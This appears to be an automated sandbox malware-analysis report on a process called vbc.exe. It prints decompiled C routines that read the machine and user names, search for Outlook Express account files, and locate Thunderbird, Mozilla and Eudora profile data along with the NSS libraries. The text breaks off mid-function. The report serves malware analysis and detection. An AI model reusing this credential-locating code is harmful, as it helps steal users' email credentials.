Opcode ID: e276876a3a660070092f4bdc0da4bda60b27ab1e2c5d0f7fe8a34c2cfdf5cdf0
Instruction ID: 6d3e5e79fb5ba3dc045185e0f7d8bb4044f56437cf7f7bc11c2c4fdfd27bba80
Opcode Fuzzy Hash: e276876a3a660070092f4bdc0da4bda60b27ab1e2c5d0f7fe8a34c2cfdf5cdf0
Instruction Fuzzy Hash: D1F0A4721086019BD210EA298841A6BF7E8DB923A8F11053FF89192283DB3DDC5586A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF8E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040BFA6
SendMessageW.USER32(?,0000105F,00000000,?), ref: 0040BFD5

Strings

", xrefs: 0040BFCE

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessageSendmemset
String ID: "
API String ID: 568519121-123907689
Opcode ID: 8974f3925887516f6d0a900228c109d4e68bc67ff3c39d3e2085c907346f7644
Instruction ID: 52ec7358bf223f21f0f54ed804b07356b6d9a4f052c0f3137058475af9765f6b
Opcode Fuzzy Hash: 8974f3925887516f6d0a900228c109d4e68bc67ff3c39d3e2085c907346f7644
Instruction Fuzzy Hash: 66016D75900206ABDB209F5ACC45EAFB7F8FF85745F00802AE855E7281E7349945CF79

Uniqueness

Uniqueness Score: -1.00%

Function 004018F4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(?,?,?,?,?,0040F3B0,?,General,?,?,?,?,?,00000000,00000001), ref: 0040191D
memset.MSVCRT ref: 00401930

Strings

WinPos, xrefs: 00401943

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: PlacementWindowmemset
String ID: WinPos
API String ID: 4036792311-2823255486
Opcode ID: 531d41ac9e6cbf47dd5b0ef28c7d94a06efd8350b381f438b609c2e10ada3800
Instruction ID: ca976ba5ed3f83ef93de4c78b9b818d0dc8f3eea61e23acacabb71661926745e
Opcode Fuzzy Hash: 531d41ac9e6cbf47dd5b0ef28c7d94a06efd8350b381f438b609c2e10ada3800
Instruction Fuzzy Hash: 9AF012B0600205EFEB14DF95D899F5A77A8EF04700F54017AF90ADB2D1DBB89900CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC29, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040BC4D
LoadStringW.USER32(X1E,00000000,?,00001000), ref: 0040BC65

Part of subcall function 0040B93B: memset.MSVCRT ref: 0040B94E
Part of subcall function 0040B93B: _itow.MSVCRT ref: 0040B95C

Strings

X1E, xrefs: 0040BC62

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$LoadString_itow
String ID: X1E
API String ID: 2363904170-1560614071
Opcode ID: 7f112a53103efb0d1130b80e122edadfff3b355a72e37d03c438b452bd6af500
Instruction ID: f380a03a7eecdd41986674abf89776040d4e37bafc66abb46cfa381fa5204df8
Opcode Fuzzy Hash: 7f112a53103efb0d1130b80e122edadfff3b355a72e37d03c438b452bd6af500
Instruction Fuzzy Hash: 71F082729013286AF720AB459D4AFDB776CDF05744F00007ABB08E5192DB349A40C7ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040B93B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040B94E
_itow.MSVCRT ref: 0040B95C

Part of subcall function 0040B8C2: memset.MSVCRT ref: 0040B8E7
Part of subcall function 0040B8C2: GetPrivateProfileStringW.KERNEL32 ref: 0040B90F

Strings

X1E, xrefs: 0040B93B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$PrivateProfileString_itow
String ID: X1E
API String ID: 1482724422-1560614071
Opcode ID: 0462ac8b755d67dc9dd51470dc6d3f017a83e147eaeea5c62657f161a75d20dc
Instruction ID: c527bd8864a1e8dc9924cbacd4c6e7ae812da0d58d0774c54ed9ac8dc2116314
Opcode Fuzzy Hash: 0462ac8b755d67dc9dd51470dc6d3f017a83e147eaeea5c62657f161a75d20dc
Instruction Fuzzy Hash: EDE0BFB294021CB6EF11BFA1CC46F9D77ACBB14748F004025FA05A51D1E7B8E6598759

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE89, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

Part of subcall function 00408282: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040BE8F,00000000,0040BD42,?,00000000,00000208,?), ref: 0040828D

wcsrchr.MSVCRT ref: 0040BE92
wcscat.MSVCRT ref: 0040BEA8

Strings

_lng.ini, xrefs: 0040BEA2

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileModuleNamewcscatwcsrchr
String ID: _lng.ini
API String ID: 383090722-1948609170
Opcode ID: 85d76508d49b0ff6757e45e150b40472edf209ff8ddcdf29665fd620b319a214
Instruction ID: 84d8fe8025816c60ed5f34aa0efad718bb16e503e766276e22ad5a10aaf03d01
Opcode Fuzzy Hash: 85d76508d49b0ff6757e45e150b40472edf209ff8ddcdf29665fd620b319a214
Instruction Fuzzy Hash: EDC01262586A20A4F622B622AE03B8A02888F52308F25006FFD00341C2EFAC561180EE

Uniqueness

Uniqueness Score: -1.00%

Function 0042B269, Relevance: 5.2, APIs: 4, Instructions: 181COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0042B30B
memcpy.MSVCRT ref: 0042B344
memset.MSVCRT ref: 0042B35A
memcpy.MSVCRT ref: 0042B393

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: 98f9746c95fe9bc841d46f0a022c208982e5f612c2d80e193317f2d03ab29597
Instruction ID: 5583aac8f3c8c6829f169dedbb5c7f3bc80267d871db847419cec400d03eb5c0
Opcode Fuzzy Hash: 98f9746c95fe9bc841d46f0a022c208982e5f612c2d80e193317f2d03ab29597
Instruction Fuzzy Hash: A551B375A00215EBDF14DF55D882BAEBB75FF04340F54805AED04A6252E7789E50CBE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040C05B, Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 004087CA: memset.MSVCRT ref: 004087D8

??2@YAPAXI@Z.MSVCRT ref: 0040C088
??2@YAPAXI@Z.MSVCRT ref: 0040C0AF
??2@YAPAXI@Z.MSVCRT ref: 0040C0D0
??2@YAPAXI@Z.MSVCRT ref: 0040C0F1

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: 852de0583aef39f36375dc552f64b502989e158c2a9e6a9d74aa6e27cfe29003
Instruction ID: 98264c0c01cbe32efcdb0ac77575e239005db210b2699cda7c9871cbaaee01ad
Opcode Fuzzy Hash: 852de0583aef39f36375dc552f64b502989e158c2a9e6a9d74aa6e27cfe29003
Instruction Fuzzy Hash: 4B21B5B0A11700CFD7518F6A8485A16FAE8FF95310B26C9AFD159DB6B2D7B8C440CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00408DC5, Relevance: 5.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00408DD7

Part of subcall function 004080AC: malloc.MSVCRT ref: 004080C8
Part of subcall function 004080AC: memcpy.MSVCRT ref: 004080E0
Part of subcall function 004080AC: free.MSVCRT(00000000,00000000,?,00408F0C,00000002,?,00000000,?,0040923F,00000000,?,00000000), ref: 004080E9

free.MSVCRT(?,00000001,?,00000000,?,?,00409290,?,000000FF), ref: 00408DFD
free.MSVCRT(?,00000001,?,00000000,?,?,00409290,?,000000FF), ref: 00408E20
memcpy.MSVCRT ref: 00408E44

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: free$memcpy$mallocwcslen
String ID:
API String ID: 726966127-0
Opcode ID: 39603b6d7359158d33076ec7bab952e59b6d37e46f731a650a7499c7d7739eb1
Instruction ID: da9404a03362d95f45f68813529404a67aab342ff110b4c830d245a8fa10e0ef
Opcode Fuzzy Hash: 39603b6d7359158d33076ec7bab952e59b6d37e46f731a650a7499c7d7739eb1
Instruction Fuzzy Hash: 7B214F71100604EFD730DF18D98199AB3F5FF853247118A2EF8A69B6E1CB39A915CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00416CFF, Relevance: 5.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00417A93,000000FF,00000000,00000000,0041767E,?,?,0041767E,00417A93,00000000,?,00417D00,?,00000000), ref: 00416D1A
malloc.MSVCRT ref: 00416D22
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00417A93,000000FF,00000000,00000000,?,0041767E,00417A93,00000000,?,00417D00,?,00000000,00000000,?), ref: 00416D39
free.MSVCRT(00000000,?,0041767E,00417A93,00000000,?,00417D00,?,00000000,00000000,?), ref: 00416D40

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: b607c71614b1ca8bec50a9c51f152560627b91c66ff5640af174e5643dcff5fd
Instruction ID: b9117e17fd0dd3e97e5004a4b09ed95055046f94a1a1b3665f6ad504cf0e37ce
Opcode Fuzzy Hash: b607c71614b1ca8bec50a9c51f152560627b91c66ff5640af174e5643dcff5fd
Instruction Fuzzy Hash: DAF0377620521E7BE6102565AC40E77779CEB86276B21072BBD10E65D1ED59EC0046B4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exe PID: 5964 Parent PID: 5908 vbc.exeCOMMON

Executed Functions

Function 004073B6, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 143
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004073B6(signed int _a4) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				void _v20;
				long _v24;
				int _v28;
				int _v32;
				void* _v36;
				void _v291;
				char _v292;
				void _v547;
				char _v548;
				void _v1058;
				short _v1060;
				void _v1570;
				short _v1572;
				int _t88;
				signed int _t91;
				signed int _t92;
				signed int _t94;
				signed int _t96;
				signed int _t99;
				signed int _t104;
				signed short* _t110;
				void* _t113;
				void* _t114;

				_t92 = 0;
				_v20 = 0xa3;
				_v19 = 0x1e;
				_v18 = 0xf3;
				_v17 = 0x69;
				_v16 = 7;
				_v15 = 0x62;
				_v14 = 0xd9;
				_v13 = 0x1f;
				_v12 = 0x1e;
				_v11 = 0xe9;
				_v10 = 0x35;
				_v9 = 0x7d;
				_v8 = 0x4f;
				_v7 = 0xd2;
				_v6 = 0x7d;
				_v5 = 0x48;
				_v292 = 0;
				memset( &_v291, 0, 0xff);
				_v548 = 0;
				memset( &_v547, 0, 0xff);
				_v1572 = 0;
				memset( &_v1570, 0, 0x1fe);
				_v1060 = 0;
				memset( &_v1058, 0, 0x1fe);
				_v36 = _a4 + 4;
				_a4 = 0;
				_v24 = 0xff;
				GetComputerNameA( &_v292,  &_v24); // executed
				_v24 = 0xff;
				GetUserNameA( &_v548,  &_v24); // executed
				MultiByteToWideChar(0, 0,  &_v292, 0xffffffff,  &_v1572, 0xff);
				MultiByteToWideChar(0, 0,  &_v548, 0xffffffff,  &_v1060, 0xff);
				_v32 = strlen( &_v292);
				_t88 = strlen( &_v548);
				_t113 = _v36;
				_v28 = _t88;
				memcpy(_t113,  &_v20, 0x10);
				_t91 = 0xba0da71d;
				if(_v28 > 0) {
					_t110 =  &_v1060;
					do {
						_t104 = _a4 & 0x80000003;
						if(_t104 < 0) {
							_t104 = (_t104 - 0x00000001 | 0xfffffffc) + 1;
						}
						_t96 = ( *_t110 & 0x0000ffff) * _t91;
						_t91 = _t91 * 0xbc8f;
						 *(_t113 + _t104 * 4) =  *(_t113 + _t104 * 4) ^ _t96;
						_a4 = _a4 + 1;
						_t110 =  &(_t110[1]);
					} while (_a4 < _v28);
				}
				if(_v32 > _t92) {
					do {
						_t99 = _a4 & 0x80000003;
						if(_t99 < 0) {
							_t99 = (_t99 - 0x00000001 | 0xfffffffc) + 1;
						}
						_t94 = ( *(_t114 + _t92 * 2 - 0x620) & 0x0000ffff) * _t91;
						_t91 = _t91 * 0xbc8f;
						 *(_t113 + _t99 * 4) =  *(_t113 + _t99 * 4) ^ _t94;
						_a4 = _a4 + 1;
						_t92 = _t92 + 1;
					} while (_t92 < _v32);
				}
				return _t91;
			}

0x004073c7
0x004073d2
0x004073d6
0x004073da
0x004073de
0x004073e2
0x004073e6
0x004073ea
0x004073ee
0x004073f2
0x004073f6
0x004073fa
0x004073fe
0x00407402
0x00407406
0x0040740a
0x0040740e
0x00407412
0x00407418
0x00407426
0x0040742c
0x0040743f
0x00407446
0x00407454
0x0040745b
0x00407466
0x00407477
0x0040747a
0x0040747d
0x0040748e
0x00407491
0x004074b0
0x004074c5
0x004074d3
0x004074dd
0x004074e2
0x004074e5
0x004074ef
0x004074fa
0x004074ff
0x00407501
0x00407507
0x0040750a
0x00407510
0x00407516
0x00407516
0x0040751a
0x0040751d
0x00407526
0x00407528
0x0040752f
0x00407530
0x00407507
0x00407538
0x0040753a
0x0040753d
0x00407543
0x00407549
0x00407549
0x00407552
0x00407555
0x0040755e
0x00407560
0x00407563
0x00407564
0x0040753a
0x0040756d

APIs

memset.MSVCRT ref: 00407418
memset.MSVCRT ref: 0040742C
memset.MSVCRT ref: 00407446
memset.MSVCRT ref: 0040745B
GetComputerNameA.KERNEL32(?,?), ref: 0040747D
GetUserNameA.ADVAPI32(?,?), ref: 00407491
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 004074B0
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 004074C5
strlen.MSVCRT ref: 004074CE
strlen.MSVCRT ref: 004074DD
memcpy.MSVCRT ref: 004074EF

Strings

H, xrefs: 0040740E
i, xrefs: 004073DE
}, xrefs: 0040740A
b, xrefs: 004073E6
}, xrefs: 004073FE
5, xrefs: 004073FA
O, xrefs: 00407402

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memset$ByteCharMultiNameWidestrlen$ComputerUsermemcpy
String ID: 5$H$O$b$i$}$}
API String ID: 1832431107-3760989150
Opcode ID: aceb3002e6d76f9fd17eae514da83f7be29cbb3531b765aef18c994d04d9c626
Instruction ID: c4a028c48163d552ebb965a22663fb4caedd15d38ec5c0ca2e6f283cdba292cd
Opcode Fuzzy Hash: aceb3002e6d76f9fd17eae514da83f7be29cbb3531b765aef18c994d04d9c626
Instruction Fuzzy Hash: 7A51E771C0025DAEDB11CFA8CC40BEEBBBCEF49314F0442AAE555E6191D3789B85CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040702D, Relevance: 6.1, APIs: 4, Instructions: 58
filestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040702D(void** __eax) {
				void* __esi;
				void* _t15;
				int _t16;
				int _t17;
				void* _t26;
				void** _t38;
				void** _t40;
				void* _t45;

				_t40 = __eax;
				_t15 =  *__eax;
				if(_t15 != 0xffffffff) {
					_t6 =  &(_t40[0x52]); // 0x247
					_t16 = FindNextFileA(_t15, _t6); // executed
					 *(_t45 + 4) = _t16;
					if(_t16 != 0) {
						goto L5;
					} else {
						E004070C5(_t40);
						goto L4;
					}
				} else {
					_t1 =  &(_t40[0x52]); // 0x247
					_t2 =  &(_t40[1]); // 0x103
					_t26 = FindFirstFileA(_t2, _t1); // executed
					 *_t40 = _t26;
					 *(_t45 + 4) = 0 | _t26 != 0xffffffff;
					L4:
					if( *(_t45 + 4) != 0) {
						L5:
						_t9 =  &(_t40[0xa2]); // 0x387
						_t38 = _t9;
						_t10 =  &(_t40[0x5d]); // 0x273
						_t28 = _t10;
						_t41 =  &(_t40[0xf3]);
						_t17 = strlen( &(_t40[0xf3]));
						if(strlen(_t10) + _t17 + 1 >= 0x143) {
							 *_t38 = 0;
						} else {
							E004062B7(_t38, _t41, _t28);
						}
					}
				}
				return  *(_t45 + 4);
			}

0x0040702f
0x00407031
0x00407036
0x00407059
0x00407061
0x00407069
0x0040706d
0x00000000
0x0040706f
0x0040706f
0x00000000
0x0040706f
0x00407038
0x00407038
0x0040703f
0x00407043
0x00407051
0x00407053
0x00407074
0x00407079
0x0040707b
0x0040707e
0x0040707e
0x00407084
0x00407084
0x0040708a
0x00407091
0x004070a9
0x004070b8
0x004070ab
0x004070af
0x004070b5
0x004070bd
0x00407079
0x004070c4

APIs

FindFirstFileA.KERNELBASE(00000103,00000247,?,?,0041134A,*.oeaccount,0041141B,?,00000104), ref: 00407043
FindNextFileA.KERNELBASE(000000FF,00000247,?,?,0041134A,*.oeaccount,0041141B,?,00000104), ref: 00407061
strlen.MSVCRT ref: 00407091
strlen.MSVCRT ref: 00407099

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FileFindstrlen$FirstNext
String ID:
API String ID: 379999529-0
Opcode ID: 23327769c2c6ed145b7f0a678d94cded64fbce7ba272a02f3800eca3ff4be886
Instruction ID: ee1fc6f362411e34e0c03f62be7ba86f9bee0943d1b98e177d8d8cef5f5d9398
Opcode Fuzzy Hash: 23327769c2c6ed145b7f0a678d94cded64fbce7ba272a02f3800eca3ff4be886
Instruction Fuzzy Hash: 1E1182728092059FD3149B34D844ADBB7DC9F04325F204A3FF05AD31D0EB38B945876A

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4A, Relevance: 52.8, APIs: 19, Strings: 11, Instructions: 261
stringregistryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00401E4A(void* __eflags, char* _a4) {
				signed int _v8;
				int _v12;
				void _v275;
				char _v276;
				void _v539;
				char _v540;
				void _v795;
				char _v796;
				void _v1059;
				char _v1060;
				void _v1323;
				char _v1324;
				void _v2347;
				char _v2348;
				void* __edi;
				void* __esi;
				int _t65;
				char* _t69;
				char _t70;
				int _t71;
				char _t75;
				void* _t76;
				long _t78;
				void* _t83;
				int _t85;
				void* _t87;
				int _t104;
				int _t108;
				char _t126;
				void* _t137;
				void* _t139;
				char* _t157;
				char* _t158;
				char* _t160;
				int _t161;
				void* _t164;
				CHAR* _t169;
				char* _t170;
				void* _t171;
				void* _t172;
				void* _t173;
				void* _t174;
				void* _t175;

				_v540 = 0;
				memset( &_v539, 0, 0x104);
				_t164 = 0x1a;
				E0040F4CA( &_v540, _t164); // executed
				_t65 = strlen("Mozilla\\Profiles");
				_t6 = strlen( &_v540) + 1; // 0x1
				_t172 = _t171 + 0x14;
				if(_t65 + _t6 >= 0x104) {
					_t69 = _a4;
					 *_t69 = 0;
					_t157 = _t69;
				} else {
					_t157 = _a4;
					E004062B7(_t157,  &_v540, "Mozilla\\Profiles");
				}
				_t70 = E00406155(_t157);
				if(_t70 == 0) {
					 *_t157 = _t70;
				}
				_t158 = _t157 + 0x105;
				_t71 = strlen("Thunderbird\\Profiles");
				_t12 = strlen( &_v540) + 1; // 0x1
				if(_t71 + _t12 >= 0x104) {
					 *_t158 = 0;
				} else {
					E004062B7(_t158,  &_v540, "Thunderbird\\Profiles");
				}
				_t75 = E00406155(_t158);
				_pop(_t137);
				if(_t75 == 0) {
					 *_t158 = _t75;
				}
				_t160 = _a4 + 0x20a;
				_t76 = E00401C56(_t137, _t160, 0x80000001, "Software\\Qualcomm\\Eudora\\CommandLine", "current"); // executed
				_t173 = _t172 + 0xc;
				if(_t76 == 0) {
					_t126 = E00401C56(_t137, _t160, 0x80000002, "Software\\Classes\\Software\\Qualcomm\\Eudora\\CommandLine\\current", 0x41344f); // executed
					_t173 = _t173 + 0xc;
					if(_t126 == 0) {
						 *_t160 = _t126;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t78 = E0040F1B0(0x80000002, "Software\\Mozilla\\Mozilla Thunderbird",  &_v8);
				_t174 = _t173 + 0xc;
				if(_t78 != 0) {
					L32:
					_t169 = _a4 + 0x30f;
					if( *_t169 != 0) {
						L35:
						return _t78;
					}
					ExpandEnvironmentStringsA("%programfiles%\\Mozilla Thunderbird", _t169, 0x104);
					_t78 = E00406155(_t169);
					if(_t78 != 0) {
						goto L35;
					}
					 *_t169 = _t78;
					return _t78;
				} else {
					_v796 = _t78;
					_t161 = 0;
					memset( &_v795, 0, 0xff);
					_v12 = 0;
					_t83 = E0040F276(_v8, 0,  &_v796);
					_t175 = _t174 + 0x18;
					if(_t83 != 0) {
						L31:
						_t78 = RegCloseKey(_v8);
						goto L32;
					}
					_t170 = "sqlite3.dll";
					do {
						_t85 = atoi( &_v796);
						_pop(_t139);
						if(_t85 < 3) {
							goto L28;
						}
						_v2348 = 0;
						memset( &_v2347, _t161, 0x3ff);
						_v276 = 0;
						memset( &_v275, _t161, 0x104);
						sprintf( &_v2348, "%s\\Main",  &_v796);
						E0040F232(_t139, _v8,  &_v2348, "Install Directory",  &_v276, 0x104);
						_t175 = _t175 + 0x38;
						if(_v276 != 0 && E00406155( &_v276) != 0) {
							_v1060 = 0;
							memset( &_v1059, _t161, 0x104);
							_v1324 = 0;
							memset( &_v1323, _t161, 0x104);
							_t104 = strlen(_t170);
							_t41 = strlen( &_v276) + 1; // 0x1
							_t175 = _t175 + 0x20;
							if(_t104 + _t41 >= 0x104) {
								_v1060 = 0;
							} else {
								E004062B7( &_v1060,  &_v276, _t170);
							}
							_t108 = strlen("nss3.dll");
							_t47 = strlen( &_v276) + 1; // 0x1
							if(_t108 + _t47 >= 0x104) {
								_v1324 = 0;
							} else {
								E004062B7( &_v1324,  &_v276, "nss3.dll");
							}
							if(E00406155( &_v1060) == 0 || E00406155( &_v1324) == 0) {
								_t161 = 0;
								goto L28;
							} else {
								strcpy(_a4 + 0x30f,  &_v276);
								goto L31;
							}
						}
						L28:
						_v12 = _v12 + 1;
						_t87 = E0040F276(_v8, _v12,  &_v796);
						_t175 = _t175 + 0xc;
					} while (_t87 == 0);
					goto L31;
				}
			}

0x00401e65
0x00401e6c
0x00401e73
0x00401e7a
0x00401e85
0x00401e98
0x00401e9c
0x00401ea1
0x00401eb9
0x00401ebc
0x00401ebf
0x00401ea3
0x00401ea3
0x00401eb0
0x00401eb6
0x00401ec2
0x00401eca
0x00401ecc
0x00401ecc
0x00401ed3
0x00401ed9
0x00401eec
0x00401ef4
0x00401f0d
0x00401ef6
0x00401f04
0x00401f0a
0x00401f11
0x00401f18
0x00401f19
0x00401f1b
0x00401f1b
0x00401f2a
0x00401f35
0x00401f3a
0x00401f44
0x00401f51
0x00401f56
0x00401f5b
0x00401f5d
0x00401f5d
0x00401f5b
0x00401f5f
0x00401f6d
0x00401f72
0x00401f77
0x00402168
0x0040216b
0x00402174
0x00402194
0x00402194
0x00402194
0x0040217d
0x00402184
0x0040218c
0x00000000
0x00000000
0x0040218e
0x00000000
0x00401f7d
0x00401f82
0x00401f88
0x00401f92
0x00401fa2
0x00401fa5
0x00401faa
0x00401faf
0x0040215f
0x00402162
0x00000000
0x00402162
0x00401fb5
0x00401fba
0x00401fc1
0x00401fc9
0x00401fca
0x00000000
0x00000000
0x00401fdd
0x00401fe4
0x00401ff2
0x00401ff9
0x00402011
0x0040202d
0x00402032
0x0040203c
0x00402060
0x00402067
0x00402075
0x0040207c
0x00402082
0x00402095
0x00402099
0x0040209e
0x004020b7
0x004020a0
0x004020ae
0x004020b4
0x004020c3
0x004020d6
0x004020de
0x004020fb
0x004020e0
0x004020f2
0x004020f8
0x00402111
0x00402124
0x00000000
0x00402148
0x00402158
0x00000000
0x0040215e
0x00402111
0x00402126
0x00402126
0x00402136
0x0040213b
0x0040213e
0x00000000
0x00402146

APIs

memset.MSVCRT ref: 00401E6C
strlen.MSVCRT ref: 00401E85
strlen.MSVCRT ref: 00401E93
strlen.MSVCRT ref: 00401ED9
strlen.MSVCRT ref: 00401EE7
memset.MSVCRT ref: 00401F92
atoi.MSVCRT ref: 00401FC1
memset.MSVCRT ref: 00401FE4
sprintf.MSVCRT ref: 00402011

Part of subcall function 0040F232: RegCloseKey.ADVAPI32(000003FF,?,?,?,?,00000000,000003FF), ref: 0040F26B

memset.MSVCRT ref: 00402067
memset.MSVCRT ref: 0040207C
strlen.MSVCRT ref: 00402082
strlen.MSVCRT ref: 00402090
strlen.MSVCRT ref: 004020C3
strlen.MSVCRT ref: 004020D1
memset.MSVCRT ref: 00401FF9

Part of subcall function 004062B7: strcpy.MSVCRT(00000000,00000000,sqlite3.dll,004020F7,00000000,nss3.dll), ref: 004062BF
Part of subcall function 004062B7: strcat.MSVCRT(00000000,00000000,00000000,00000000,sqlite3.dll,004020F7,00000000,nss3.dll), ref: 004062CE

strcpy.MSVCRT(?,00000000), ref: 00402158
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00402162
ExpandEnvironmentStringsA.KERNEL32(%programfiles%\Mozilla Thunderbird,?,00000104,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040217D

Part of subcall function 00406155: GetFileAttributesA.KERNELBASE(?,00408328,?,004083DE,00000000,?,00000000,00000104,?), ref: 00406159

Strings

Software\Qualcomm\Eudora\CommandLine, xrefs: 00401F25
Thunderbird\Profiles, xrefs: 00401ECE, 00401EFC
Software\Classes\Software\Qualcomm\Eudora\CommandLine\current, xrefs: 00401F4B
nss3.dll, xrefs: 004020BE, 004020E6
%programfiles%\Mozilla Thunderbird, xrefs: 00402178
current, xrefs: 00401F20
sqlite3.dll, xrefs: 00401FB5, 00402081, 004020A6
Mozilla\Profiles, xrefs: 00401E7F, 00401E84, 00401EAC
%s\Main, xrefs: 0040200B
Install Directory, xrefs: 0040201E
Software\Mozilla\Mozilla Thunderbird, xrefs: 00401F67

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strlen$memset$Closestrcpy$AttributesEnvironmentExpandFileStringsatoisprintfstrcat
String ID: %programfiles%\Mozilla Thunderbird$%s\Main$Install Directory$Mozilla\Profiles$Software\Classes\Software\Qualcomm\Eudora\CommandLine\current$Software\Mozilla\Mozilla Thunderbird$Software\Qualcomm\Eudora\CommandLine$Thunderbird\Profiles$current$nss3.dll$sqlite3.dll
API String ID: 2492260235-4223776976
Opcode ID: 59627f2f584a0fc03280b870890c3a08f891bace1e47a2458c552be32f244d3b
Instruction ID: 6d070b6b648a05e91db5632b048882ca6db18ac9797f22d42d855398ddad24fb
Opcode Fuzzy Hash: 59627f2f584a0fc03280b870890c3a08f891bace1e47a2458c552be32f244d3b
Instruction Fuzzy Hash: 8B91C772804159AEDB21E6958C45FDB7BAD9F18309F1400BBF608F2182EB789BC58B5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB8D, Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 169
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040BB8D(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, intOrPtr _a12) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v304;
				signed int _v308;
				struct HWND__* _v312;
				intOrPtr _v608;
				struct HACCEL__* _v620;
				struct HWND__* _v644;
				char _v900;
				char _v904;
				char _v908;
				struct tagMSG _v936;
				intOrPtr _v940;
				struct HWND__* _v944;
				struct HWND__* _v948;
				char _v956;
				char _v980;
				char _v988;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t49;
				void* _t52;
				int _t56;
				int _t58;
				int _t69;
				void* _t73;
				int _t76;
				int _t78;
				struct HWND__* _t79;
				int _t81;
				int _t86;
				int _t87;
				struct HWND__* _t101;

				_t96 = __ecx;
				 *0x417b94 = _a4;
				_t49 = E00404841(__ecx);
				if(_t49 != 0) {
					E0040F41D();
					_t52 = E00406A5B( &_v980);
					_t101 = 0;
					_v940 = 0x20;
					_v948 = 0;
					_v936.hwnd = 0;
					_v944 = 0;
					_v936.message = 0;
					E0040B91E(_t52,  &_v900); // executed
					_v8 =  &_v980;
					E00406DF1(__eflags,  &_v980, _a12);
					_t56 = E00406F65(_v16, "/savelangfile");
					__eflags = _t56;
					if(_t56 < 0) {
						E004083A7(); // executed
						_t58 = E00406F65(_v8, "/deleteregkey");
						__eflags = _t58;
						if(_t58 < 0) {
							 *0x418110 = 0x11223344; // executed
